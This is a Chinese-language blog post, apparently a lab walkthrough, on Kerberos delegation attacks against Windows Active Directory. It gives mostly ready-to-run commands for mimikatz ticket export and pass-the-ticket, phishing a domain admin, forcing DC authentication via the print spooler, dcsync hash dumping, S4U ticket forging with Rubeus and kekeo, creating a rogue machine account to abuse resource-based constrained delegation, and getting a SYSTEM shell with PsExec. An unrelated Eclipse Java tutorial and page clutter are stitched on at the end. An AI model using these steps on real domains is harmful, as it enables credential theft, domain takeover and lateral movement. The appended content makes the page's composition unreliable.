一文带你揭秘委派攻击真相

0x01 委派的概念和分类

基本概念:自Windows2000 开始,微软添加了委派功能。域委派是一种应用模式,指的是将域内用户的权限委派给服务账户,使得服务账户能以用户权限访问域内的其他服务。

大致流程,可参考下图:

图片

关于委派,需要注意以下两点:

能否委派,取决于用户所请求的服务系统有没有被设置成委派

在域内,只有机器账户和注册了SPN的域用户才具有委派的属性

分类:

非约束委派

约束委派

基于资源的约束性委派

0x02 非约束委派

基本概念:服务账号可以请求得到域内用户的TGT,服务账号使用该TGT模拟域内用户访问任意服务,被配置为非约束委派的系统将把TGT存储到LSASS内存中,以便使用用户能够访问终端资源。

触发条件:一定是域管去访问配置委派的服务

非约束委派设置以及查询

这里用机器账户来演示:(域控是默认设置了非约束性委派的)

图片

利用ADfind进行查询: (如果是工作组机器需要提供用域名和密码,如果是用域用户就不需要提供)

AdFind.exe -b "DC=abc,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -d

利用powershell脚本查询

#Powershell下Import-Module .\PowerView.ps1#查询域中配置了非约束性委派的主机Get-NetComputer -Unconstrained -Domain abc.com#查询域中配置了非约束性委派的服务账户Get-NetUser -Unconstrained -Domain abc.com | select name
#CS下powershell-import .\PowerView.ps1#查询域中配置了非约束性委派的主机powershellGet-NetComputer -Unconstrained -Domain abc.com#查询域中配置了非约束性委派的服务账户powershell Get-NetUser -Unconstrained -Domain abc.com | select name

利用钓鱼进行委派攻击

原理:基于Windows的特性--当不提供账号密码时,会以当前账号密码进行认证

通过钓鱼(将命令写为bat文件、发邮件等),来诱导域管访问被控主机:

net use \\ww-pc.abc.com\c$       一定要走Kerberos认证协议

mimikatz:

privilege::debugsekurlsa: : tickets / export

发现存在administrator票据

图片

导出的票据,通过PTT,就可以访问域内任意机器,这时就可以利用一系列横向手法来进行横向移动(如:WMI、Winrm、计划任务、服务、DCOM、psexec等)

Kerberos::PTT [0;671ae]-2-0-60a10000-Administrator@krbtgt-ABC.COM.kirbi

图片

利用打印机漏洞进行委派攻击

一般来讲,域管是不会主动访问被控主机的,因此这里可以利用Windows打印系统远程协议(MS-RPRN)中的默认启动的方法,在该方法中,域用户可以使用MS-RPRN方法强制任何运行了Spooler服务的计算机通过Kerberos或者NTLM对攻击者选择的目标进行身份验证。

原理:设置非约束委派的主机结合Spooler打印机服务漏洞,让域控机器DC强制访问已控的具有本地管理员权限的非约束委派机器,从而拿到域控的机器用户hash,进而控制整个域。

先利用Rubeus在被控主机(ph)上监听DC的登录信息

Rubeus.exe monitor /interval:1 /filteruser:DC$

再利用SpoolSample强制域控打印机回连

SpoolSample.exe DC ph

然后Rubeus就可以监听到域控DC的TGT,这里由于自身环境的原因,这里无法进一步操作,后面的操作流程大致说一下:

得到域控TGT后,后面就可以采用金票,PTH、PTT等方式进行横向即可

0x03 约束委派

基本概念:由于非约束委派的不安全性或场景受限,微软服务于2007年为Kerberos协议进行扩展引入S4U(service for user)协议,该协议分为两个子协议:

  1. S4U2self (Service for User to Self)

  2. S4U2proxy (Service for User to Proxy)

这两个扩展允许服务代表用户从KDC请求票据

约束委派限制了S4U2proxy协议的请求范围,使得配置了委派属性的服务只能模拟用户身份访问特定的其他服务

S4U2self和S4U2proxy协议

为了便于大家的理解,这里通过下面的流程图来讲解:

图片

用户A访问web系统,web系统使用自己的服务账号申请一张TGT,然后代表A去向KDC申请访问自己ST1--这里就使用到了S4U2self协议,用户A拿到ST1就可以访问web系统。

如果web系统上设置了约束委派,那么web系统就可以使用S4U2proxy协议将申请到的ST1票据,以用户A的身份向KDC申请访问文件系统的票据ST2,这样web系统就可以以用户A的身份访问文件系统

约束委派设置以及查询

同样的这里只有机器账户和域用户(注册SPN的域用户)才有委派属性

图片

查询设置委派的机器:

利用ADfind进行查询:

AdFind.exe -b "DC=abc,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

图片

利用powershell脚本查询​​​​​​​

 Import-Module .\Powerview.ps1 #查询机器账号 Get-DomainComputer -TrustedToAuth -Domain abc.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|ft -Wrap -AutoSize
 #查询服务账号 Get-DomainUser –TrustedToAuth -domain abc.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl

图片

利用机器账号进行约束委派攻击

首先肯定是在被控主机上查询被设置约束委派的机器用户,然后查询机器用户的hash值:​​​​​​​

#在机器用户上直接查询  需要先提权privilege::debugsekurlsa::logonPasswords#使用dcsync方式查询privilege::debuglsadump::dcsync /domain:abc.com /user:ww-pc$

图片

利用机器账户的hash值,申请TGT票据​​​​​​​

#Rubeus工具Rubeus.exe asktgt /user:机器用户名 /rc4:NTLM-HASH /domain:域名 /dc:域控域名 /nowrap#kekeo工具kekeo.exe "tgt::ask /user:机器用户名 /domain:域名 /NTLM:NTLM-HASH" "exit"eg:kekeo.exe "tgt::ask /user:ww-pc$ /domain:abc.com /NTLM:379e9e856567a1e40d8ef6dc7857d805" "exit"

图片

利用申请到的TGT再去申请ST

kekeo.exe "tgs::s4u /tgt:TGT票据 /user:Administrator@域名 /service:委派的SPN" "exit"

图片

将生成的票据注入内存:

mimikatz.exe "kerberos::ptt 票据名" "exit"

图片

接下来就可以上传木马到域控上执行

这里使用域用户进行约束委派攻击方式与上面方式差不多,可自行尝试

补充:

这里获得域用户的hash可以使用域内密码喷洒,Roasting攻击(前提是需要设置不需要Kerberos域认证才可以),Kerberosting攻击方式都可以

基于资源的约束性委派(RBCD)

基本概念:微软在Windows Server 2012中新引入基于资源的约束性委派,基于资源的约束性委派不需要通过域管理员进行修改,而是将设置属性的权限给了服务资源本身。可以简单理解为基于资源的约束性委派就是传统约束委派的反向过程。

RBCD设置方式

实验环境:

域控:win server 2012 R2  192.168.24.10  

目标主机:win server 2016  192.168.24.102  ph-pc

域内主机:win7  192.168.24.50

委派机器账户:anna$

使用AdExplorer连接域控,之后在PH-PC的安全属性中为hp用户赋予写权限,接着以普通域用户ph登录win server2016主机

接下来还需要去创建一个机器账户(账号:anna,密码:admin!@#45),使用Powermad.ps1脚本来创建​​​​​​​

Import-Module .\Powermad.ps1New-MachineAccount -MachineAccount anna -Password $(ConvertTo-SecureString "admin!@#45" -AsPlainText -Force)
验证是否创建成功:net group "domain computers" /domain

图片

接着配置anna到ph-pc的RBCD​​​​​​​

#先获取sid值Get-NetComputer "anna"
#设置变量值$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1604209046-237365663-1700766889-1608)";
#转换为16进制$SDBytes = New-Object byte[]($SD.BinaryLength);$SD.GetBinaryForm($SDBytes,0);
#设置RBCDGet-DomainComputer ph-pc.abc.com| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
#验证Get-DomainComputer ph-pc.abc.com -Properties msds-allowedtoactonbehalfofotheridentity#清除RBCDSet-DomainObject ph-pc.abc.com -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose

图片

查询配置RBCD的机器,利用adfind​​​​​​​

#机器用户AdFind.exe -b "DC=abc,DC=com" -f "(&(samAccountType=805306369)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" -dn#域用户AdFind.exe -b "DC=abc,DC=com" -f "(&(samAccountType=805306368)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" -dn

RBCD利用

接着上面讲到的RBCD设置方式,这里使用Rubeus来进行请求白银票据

因为Rubeus是不支持明文的,所以先把它转换为hash

Rubeus.exe hash /user:anna /password:admin!@#45 /domain:abc.com

图片

然后用anna$的hash请求白银票据并导入到当前会话中

Rubeus.exe s4u /user:anna$ /rc4:518B98AD4178A53695DC997AA02D455C /impersonateuser:administrator /msdsspn:cifs/ph-pc.abc.com /ptt

图片

图片

访问ph-pc

图片

如果想直接拿到shell的话,还需要去申请一个host服务

Rubeus.exe s4u /user:anna$ /rc4:518B98AD4178A53695DC997AA02D455C /impersonateuser:administrator /msdsspn:host/ph-pc.abc.com /ptt

查看生成票据

图片

再将该票据导入,就可以拿到ph-pc的shell

PsExec64.exe \\ph-pc -s cmd

图片

这里就直接拿到了目标机器的shell,且权限是system权限

扫描下方二维码,关注公众号【赤鸢安全】,回复【240304】即可获得文章所涉及全部工具

​​​​​​​

  • 25
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Eclipse是一个开放源代码的集成开发环境(IDE),可用于Java开发,但也可以用于其他编程语言的开发。在本文中,我将向你展示如何使用Eclipse进行Java开发。 1. 下载Eclipse 首先,你需要从Eclipse官方网站下载Eclipse IDE。下载页面上将提供几个不同的版本,包括Eclipse IDE for Java Developers、Eclipse IDE for JavaScript and Web Developers,以及Eclipse IDE for C/C++ Developers等。选择适合你的版本,然后按照安装向导进行安装。 2. 创建Java项目 一旦你安装了Eclipse,你可以启动它并创建一个新的Java项目。选择“File”->“New”->“Java Project”,然后按照向导创建一个新的Java项目。在创建项目时,你需要指定项目名称、项目类型以及JRE版本等信息。 3. 创建Java类 一旦你创建了一个Java项目,你就可以创建一个Java类。选择你的Java项目,在“src”文件夹上右键单击,然后选择“New”->“Class”。输入类名和选择要继承的类(如果有的话),然后点击“Finish”。 4. 编写Java代码 现在你已经创建了一个Java类,可以开始编写Java代码了。在Eclipse的编辑器中,你可以输入Java代码并保存它。当你保存Java文件时,Eclipse会自动编译你的代码,并在Problems视图中显示任何编译错误。 5. 运行Java程序 一旦你编写了Java代码并保存了它,你可以运行Java程序。右键单击Java文件,然后选择“Run As”->“Java Application”。如果一切顺利,你的Java程序将在控制台中输出结果。 6. 调试Java程序 如果你的Java程序出现了错误或不按预期运行,你可以使用Eclipse的调试器来调试它。在Eclipse的编辑器中,你可以设置断点并启动调试器。当程序执行到断点时,调试器会暂停程序并允许你检查变量、运行代码等。 7. 导入外部JAR包 有时,你可能需要使用外部JAR包来完成你的Java项目。在Eclipse中,你可以简单地将外部JAR包导入到你的项目中。右键单击Java项目,然后选择“Build Path”->“Configure Build Path”。在“Libraries”选项卡上,你可以添加外部JAR包。 总结 在本文中,我们介绍了如何使用Eclipse进行Java开发。我们学习了如何创建Java项目、创建Java类、编写Java代码、运行Java程序、调试Java程序以及导入外部JAR包。Eclipse具有强大的功能,可以大大提高Java开发的效率。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值